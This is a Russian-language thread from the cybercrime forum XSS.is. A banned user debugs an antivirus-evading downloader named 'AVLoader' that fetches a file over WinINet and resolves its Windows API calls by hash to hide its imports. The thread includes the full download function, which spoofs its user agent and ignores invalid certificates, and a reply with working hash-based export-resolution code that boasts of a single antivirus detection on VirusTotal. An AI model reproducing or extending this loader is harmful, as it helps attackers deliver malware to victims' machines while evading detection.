• XSS.stack #1 – первый литературный журнал от юзеров форума

вызов функций из wininet

KernelMode

ripper
КИДАЛА
Регистрация
27.04.2023
Сообщения
119
Реакции
40
Гарант сделки
15
Пожалуйста, обратите внимание, что пользователь заблокирован
приветствую, форумчане. обращаюсь за помошью - весь мозг уже сломал. прога скачивает файл с хоста с помощью функций из библиотеки wininet. используется динамический вызов апи по хэшу. под х64 все работает прекрасно, собираю в х86 и запускаю на 64-битной винде - падает на вызове любой функции из вининет. кто-нибудь сталкивался с таким?
 
приветствую, форумчане. обращаюсь за помошью - весь мозг уже сломал. прога скачивает файл с хоста с помощью функций из библиотеки wininet. используется динамический вызов апи по хэшу. под х64 все работает прекрасно, собираю в х86 и запускаю на 64-битной винде - падает на вызове любой функции из вининет. кто-нибудь сталкивался с таким?
Я могу предположить, что твоя условная функция которая вызывает апи по хешу
C++:
ApiByHash
некорректно парсит члены структуры
C++:
LDR_DATA_TABLE_ENTRY::DllBase LDR_DATA_TABLE_ENTRY::BaseDllName
из-за некорретного оффсета данной структуры от PEB->Ldr.InMemoryOrderModuleList.Flink потому что парсинг заточен под х64 PEB.
Ну либо при парсинге таблицы экспорта у загруженной дллки вининета юзается
Код:
IMAGE_OPTIONAL_HEADER64
что опять же даёт факап при х86 бинарнике что даёт некорректный оффсет
C++:
IMAGE_OPTIONAL_HEADER64::DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]

Поэтому если хочешь чтоб тебе помогли надо бы глянуть логику связанную с описанными выше манипуляцими
 
Последнее редактирование:
собираю в х86 и запускаю на 64-битной винде - падает
х86 софт на машине х64 работает через WOW64, а у него свои библиотеки (см.папку sysWow64). Видимо просто хэши не совпадают.

Код:
Хэш MD5:
--------------
wininet.dll x64 из папки system32:  F6C5302E1F4813D552F41A0AC82455E5
wininet.dll x32 из папки sysWow64:  44214C94911C7CFB1D52CB64D5E8368D
 
Пожалуйста, обратите внимание, что пользователь заблокирован
студийный отлачик показывает, что адрес АПИ получен правильно, т.е. в pInternetGetConnectedState лежит адрес wininet.dll!InternetGetConnectedState, так что про хеши - мимо, я там беру не хеш самой длл, а хэш ее имени. про логику получения АПИ - ВСЕ другие апи из других длл - ntdll, kernel32, user32 - отрабатывают норм. Теперь попробовал убрать динвызов АПИ - и нифига, так же падает.

C:
    PBYTE GetFile(LPCWSTR szFile, LPDWORD lpdwSize)

    {

        DWORD dwBufSize = MAX_PATH * sizeof(wchar_t);

        int nCountRetry = 1;


        *lpdwSize = 0;

        BOOL bFileCreated = FALSE;

        BOOL bSuccess = FALSE;

        DWORD dwSize, dwDownloaded, dwTotalSize, dwStatus;

        HINTERNET hSession = NULL, hConnection = NULL, hRequest = NULL;

        PBYTE pData = NULL;

        DWORD flags = 0;


        wchar_t* szHostName = (wchar_t*)pRtlAllocateHeap(GetHeap(), 0, dwBufSize);

        if (!szHostName)

            return NULL;

        pRtlZeroMemory(szHostName, dwBufSize);


        wchar_t* szUrlPath = (wchar_t*)pRtlAllocateHeap(GetHeap(), 0, dwBufSize);

        if (!szUrlPath)

        {

            if (szHostName)

                pRtlFreeHeap(GetHeap(), 0, szHostName);

            return NULL;

        }

        pRtlZeroMemory(szUrlPath, dwBufSize);


        URL_COMPONENTSW* pUrlParts = (URL_COMPONENTSW*)pRtlAllocateHeap(GetHeap(), 0, sizeof(URL_COMPONENTSW));

        if(!pUrlParts)

            goto CLEAN;

        pRtlZeroMemory(pUrlParts, sizeof(URL_COMPONENTSW));

        pUrlParts->dwStructSize = sizeof(URL_COMPONENTSW);

        pUrlParts->lpszHostName = szHostName;

        pUrlParts->dwHostNameLength = dwBufSize;

        pUrlParts->lpszUrlPath = szUrlPath;

        pUrlParts->dwUrlPathLength = dwBufSize;


        int i;

        for(i = 5; (i > 0) && (!pInternetGetConnectedState(&dwStatus, 0)); i--)

        {

            pSleep(1000);

        }

        if (i <= 0)

            goto CLEAN;


        if (!pInternetCrackUrlW(szFile, plstrlenW(szFile), 0, pUrlParts))

            goto CLEAN;


        hSession = pInternetOpenW(skCrypt(L"Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"),

            INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

        if (hSession == NULL)

            goto CLEAN;


        hConnection = pInternetConnectW(hSession, pUrlParts->lpszHostName, pUrlParts->nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);

        if (hConnection == NULL)

            goto CLEAN;


        flags = INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |

            INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD;

        //const wchar_t** pszAcceptTypes;// = { "*/*\0", NULL };

        if (pUrlParts->nScheme == INTERNET_SCHEME_HTTPS)

            flags = flags | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID;

        hRequest = pHttpOpenRequestW(hConnection, skCrypt(L"GET"), pUrlParts->lpszUrlPath, NULL, NULL,

            /*pszAcceptTypes*/NULL, flags, (DWORD_PTR)NULL);

        if (hRequest == NULL)

            goto CLEAN;


        if (!pHttpSendRequestW(hRequest, NULL, 0, NULL, 0))

            goto CLEAN;


        dwSize = sizeof(DWORD);

        dwStatus = 404;

        pHttpQueryInfoW(hRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwStatus, &dwSize, NULL);

        if (dwStatus != 200)

            goto CLEAN;


        dwSize = sizeof(DWORD);

        if (!pHttpQueryInfoW(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwTotalSize, &dwSize, NULL))

            goto CLEAN;


        pData = (PBYTE)pRtlAllocateHeap(GetHeap(), 0, dwTotalSize);

        if (!pData)

            goto CLEAN;

        pRtlZeroMemory(pData, dwTotalSize);


        dwSize = 0;

        while (dwSize < dwTotalSize)

        {

            if (!pInternetReadFile(hRequest, pData, dwTotalSize, &dwDownloaded) || (dwDownloaded == 0))

                break;


            dwSize += dwDownloaded;

        }


        if (dwSize != dwTotalSize)

            goto CLEAN;


        bSuccess = TRUE;


    CLEAN:

        if (szHostName)

            pRtlFreeHeap(GetHeap(), 0, szHostName);

        if (szUrlPath)

            pRtlFreeHeap(GetHeap(), 0, szUrlPath);

        if (pUrlParts)

            pRtlFreeHeap(GetHeap(), 0, pUrlParts);

        if (hRequest) pInternetCloseHandle(hRequest);

        if (hConnection) pInternetCloseHandle(hConnection);

        if (hSession) pInternetCloseHandle(hSession);


        if (bSuccess)

        {

            *lpdwSize = dwTotalSize;

            return pData;

        }

        else

        {

            if (pData)

                pRtlFreeHeap(GetHeap(), 0, pData);


            *lpdwSize = 0;

            return NULL;

        }

        return NULL;

    }

от удаления префикса p на функциях из wininet ничего не поменялось.
Код:
RTL: RtlNtStatusToDosError(0x4fefc0): No Valid Win32 Error Mapping

RTL: Edit ntos\rtl\generr.c to correct the problem

RTL: ERROR_MR_MID_NOT_FOUND is being returned



 *** A stack buffer overrun occurred in "D:\projects\freelance\x64boy\AVLoader\bin\Loader.exe" :


This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.

If this bug ends up in the shipping product, it could be a severe security hole.

The stack trace should show the guilty function (the function directly above __report_gsfailure).

 *** enter .exr 77AB3DC8 for the exception record

 *** then kb to get the faulting stack


Loader.exe has triggered a breakpoint.

сначала это выдает в output потом
Unhandled exception at 0x779FA2A8 (ntdll.dll) in Loader.exe: Stack cookie instrumentation code detected a stack-based buffer overrun.
 
Последнее редактирование:
х86 софт на машине х64 работает через WOW64, а у него свои библиотеки (см.папку sysWow64). Видимо просто хэши не совпадают.

Код:
Код:
Хэш MD5:
--------------
wininet.dll x64 из папки system32:  F6C5302E1F4813D552F41A0AC82455E5
wininet.dll x32 из папки sysWow64:  44214C94911C7CFB1D52CB64D5E8368D
при чем тут хеши файлов dll. чел дергает апишки по хешам, это значит, что он ищет нужную апишку, хешируя каждое имя в экспорте, и ищет совпадения. имена апишек везде одинаковые.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Так где падает, на какой строке или после возврата из какой апишки?

при вызове InternetGetConnectedState. Если его комменчу - на следующем вызове из wininet.dll, pInternetCrackUrlW. Попробовал собрать без динвызова, обычные винапи - тот же результат, та же ошибка... Вроде все правильно делаю...

дополнение: сделал ПУСТОЙ проект, вставил куазанную выше функцию без динвызовов - все ок... все таки - где-то в динамическом вызове апи проблема :(
 
Последнее редактирование:
при вызове InternetGetConnectedState. Если его комменчу - на следующем вызове из wininet.dll, pInternetCrackUrlW. Попробовал собрать без динвызова, обычные винапи - тот же результат, та же ошибка... Вроде все правильно делаю...

дополнение: сделал ПУСТОЙ проект, вставил куазанную выше функцию без динвызовов - все ок... все таки - где-то в динамическом вызове апи проблема :(
У тебя бинарник запускается не как windows service случайно?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
собрал вот такой минимальный пример
C:
DWORD dwStatus;
InternetGetConnectedState(&dwStatus, 0);
InitializeGetapiModule();
pInternetGetConnectedState(&dwStatus, 0);
РАБОТАЕТ!!! похоже, при прямом вызове апи из вининет не выполняется какая-то дополнительная инициализация для WOW64 режима... придеться лезть в исходники винды...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На коленке написал, только через InternetReadFile, скачивает картинку 1мб с opedrive и дропает на диск, все прекрасно работает, залил на ВТ, в сендбокс зенку из интереса и всего 1 детект от ноунейма.
На ВТ специально залил)
1691039908065.png


1691040055426.png

C++:
typedef BOOL(WINAPI* pInternetReadFile)(
    HINTERNET hFile,
    LPVOID    lpBuffer,
    DWORD     dwNumberOfBytesToRead,
    LPDWORD   lpdwNumberOfBytesRead
    );
HMODULE wininet = LoadLibraryW(L"wininet.dll");
pInternetReadFile InternetReadFile = (pInternetReadFile)MyGetProcAddress(wininet, 0xDEADBEEF);

C++:
FARPROC MyGetProcAddress(HMODULE hModule, ULONG hash) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
    WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);
    DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);

    for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
        if (hash == HashAlgorithm((char*)hModule + addressOfNames[i])) {
            return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
        }
    }
    return NULL;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх